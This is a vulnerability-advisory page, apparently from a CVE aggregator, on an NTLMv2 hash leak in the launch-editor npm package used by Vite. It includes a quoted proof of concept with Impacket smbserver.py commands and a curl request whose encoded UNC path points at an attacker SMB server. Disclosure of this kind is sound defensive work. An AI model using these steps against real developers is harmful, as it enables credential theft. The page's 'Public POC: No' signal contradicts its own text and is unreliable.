Skip to main content

launch-editor CVE-2026-53632

| EUVDEUVD-2026-38299 MEDIUM
External Control of File Name or Path (CWE-73)
2026-06-15 https://github.com/vitejs/launch-editor GHSA-v6wh-96g9-6wx3
5.5
CVSS 4.0 · Vendor: https://github.com/vitejs/launch-editor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker deploys SMB server (Impacket/Responder)
  2. Delivery
    Craft malicious webpage with SSRF fetch to localhost dev server
  3. Exploit
    Social-engineer developer to visit malicious page
  4. Install
    Browser issues request to /__open-in-editor?file=\\attacker-host\share
  5. C2
    launch-editor passes UNC path to OS without validation
  6. Execute
    Windows initiates NTLM authentication to attacker SMB server
  7. Impact
    NTLMv2 hash captured for offline cracking

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
Exploitation Conditions

All of the following conditions must be simultaneously true for exploitation to succeed. First, the victim must be running Windows with NTLM authentication enabled - NTLM is on by default in all current Windows versions, but Microsoft recommends disabling it. Second, a development server using launch-editor middleware, most commonly Vite's dev server, must be actively running on the victim's machine with its /__open-in-editor HTTP endpoint reachable. Third, the attacker must be able to send a request to that endpoint - the primary vector is a SSRF-style cross-origin fetch issued by a malicious webpage the developer visits in their browser, which reaches the locally-bound dev server; alternatively, the attacker must know the URL of a dev server exposed beyond localhost. Fourth, the attacker must control an SMB server at a network-reachable IP address that can be injected as the UNC path host value in the query parameter. The attack does not require any authentication to the victim's dev server (PR:N in CVSS terms), but does require user interaction in the form of the victim visiting the attacker's webpage (UI:R). Exploitation is strictly limited to Windows systems; macOS and Linux are unaffected. The Vite dev server defaults to localhost binding, meaning the cross-origin browser-fetch vector is the realistic trigger, and internet-exposed dev servers are required only for direct external exploitation.

Impact

Real-world risk is primarily constrained to developer workstations running Windows with active local development servers, making this a targeted threat against software developers rather than a mass-exploitation vector. No formal CVSS score was assigned by NVD at time of analysis; the independently assessed vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N reflects multiple coincident conditions required (Windows OS, NTLM enabled, dev server actively running, attacker knowledge of the middleware URL, and victim interaction with a malicious link). The confidentiality impact is rated High because NTLMv2 hashes, once cracked offline using tools such as Hashcat, yield plaintext credentials that could provide access to internal developer systems, VPNs, code repositories, and CI/CD infrastructure - a serious supply-chain risk. EPSS data is unavailable for this CVE. KEV status is unconfirmed. However, a functional PoC using widely available tools exists and is documented in the advisory, materially lowering the exploitation barrier to any attacker capable of social-engineering a developer. The 'RCE' tag present in the source metadata is a mislabeling - the actual impact is credential disclosure, not remote code execution, and security teams should not treat this as a code-execution risk based on that tag. The primary mitigating factor is that the attack requires the victim to be actively running a dev server and to visit an attacker-controlled page, making opportunistic mass exploitation unlikely.

Exploit ScenarioDerived

A developer running a Vite dev server on Windows receives a phishing link or visits a malicious third-party site; the attacker's page issues a JavaScript fetch to http://localhost:5173/__open-in-editor?file=%5c%5c192.168.1.100%5cshare%5ctest.txt, pointing the UNC path host parameter to the attacker's SMB server. The Vite dev server processes the request and launch-editor attempts to access the UNC path, causing Windows to transparently initiate NTLM authentication; the attacker's Responder or Impacket smbserver.py instance captures the developer's NTLMv2 hash, which is then cracked offline to recover the plaintext password. A functional PoC demonstrating the complete attack chain is documented in the GHSA advisory, making this trivially reproducible with commonly available tools.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

NTLMv2 hash disclosure in the launch-editor NPM package (v2.14.0 and earlier) exposes developer credentials on Windows systems when an attacker-controlled UNC path is passed to the package's file-opening HTTP middleware. The attack is achievable by tricking a developer running a local development server such as Vite into visiting an attacker-controlled webpage that issues a cross-origin request to the local __open-in-editor endpoint with a crafted \\attacker-host\share UNC path, whereupon Windows automatically initiates NTLM authentication without any user prompt, transmitting the victim's NTLMv2 hash to the attacker's SMB server. Publicly available exploit code confirmed via the advisory PoC using Impacket smbserver.py and Responder lowers the barrier significantly; no active exploitation has been confirmed via CISA KEV at time of analysis.

RemediationAI

The primary remediation is to upgrade launch-editor to version 2.14.1 or later, which introduces UNC path validation to block this attack class. For Vite users, upgrading to the fixed Vite release automatically pulls in the patched launch-editor: use Vite 6.4.3 for the 6.x branch, Vite 7.3.5 for the 7.x branch, or Vite 8.0.16 for the 8.x branch. Full advisory details are at https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3. Where immediate patching is not possible, the most effective OS-level compensating control is to disable NTLM on developer workstations per Microsoft's guidance at https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526; this blocks the authentication coercion entirely but may break legacy application compatibility requiring prior testing. A network-level control is to block outbound SMB traffic (TCP 445) from developer machines to untrusted external hosts via host-based or perimeter firewall rules, which prevents the NTLM handshake from reaching an attacker's server without fixing the root path-validation flaw. Additionally, the dev server's __open-in-editor middleware should never be exposed beyond localhost; binding the dev server to 127.0.0.1 and enforcing this with a host firewall reduces the attack surface even if the package remains temporarily unpatched, since it prevents the attacker from directly reaching the endpoint from outside the local machine (though the SSRF-via-browser vector still applies).

Affected VersionsENISA

launch-editor < 2.14.1
vite 7.0.0, < 7.3.5
vite 8.0.0, < 8.0.16
vite-plus < 0.1.24
vite < 6.4.3

Affected Packages

npm launch-editor fix: 2.14.1
npm vite fix: 6.4.3, 7.3.5, 8.0.16
npm vite-plus fix: 0.1.24

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The launch-editor package (pkg:npm/launch-editor) is a development-time utility that opens source files in editors from within a running browser application; Vite and similar tools expose it via an HTTP middleware endpoint such as /__open-in-editor. The root cause is CWE-73 (External Control of File Name or Path): the package accepts the file query parameter value and passes it directly to the editor-opening logic without validating or blocking Windows UNC paths of the form \\host\share. On Windows, any attempt to access a UNC path causes the OS to initiate an SMBv2 authentication handshake to the specified host, automatically sending the logged-in user's NTLMv2 challenge-response hash - a known Windows authentication coercion technique exploited by tools such as Responder and Impacket. Because NTLM is enabled by default in Windows (despite Microsoft's ongoing phase-out guidance), the hash is transmitted silently and without user warning. The vulnerability propagates through the dependency tree to any project bundling launch-editor, most notably Vite (pkg:npm/vite) and vite-plus (pkg:npm/vite-plus), making developer workstations the primary attack surface.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/vitejs/launch-editor) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
vuln.today AI 5.3 MEDIUM

AV:N for network-initiated attack via HTTP; AC:H for multiple required coincident conditions (Windows, NTLM enabled, dev server running, attacker-known URL); UI:R because victim must visit attacker's page; C:H for NTLMv2 hash disclosure; no integrity or availability impact.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE 5.3 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Red Hat 5.3 MEDIUM

Primary rating from Vendor (https://github.com/vitejs/launch-editor).

CVSS VectorVendor: https://github.com/vitejs/launch-editor

Attack Vector
Network
Attack Complexity
High
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

1
CVSS changed
Jun 22, 2026 - 18:23 NVD
5.5 (MEDIUM)

DescriptionCVE.org

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 21 npm packages depend on launch-editor (8 direct, 14 indirect)
  • 34 npm packages depend on vite (30 direct, 4 indirect)
  • 11 npm packages depend on vite-plus (9 direct, 2 indirect)

Ecosystem-wide dependent count for version 2.14.1 and other introduced versions.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

28
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +28
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Leap 16.0 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Not-Affected
SUSE Linux Enterprise Server 16.0 Not-Affected
SUSE Linux Enterprise Server 16.0 Not-Affected
SUSE Linux Enterprise Server 16.1 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy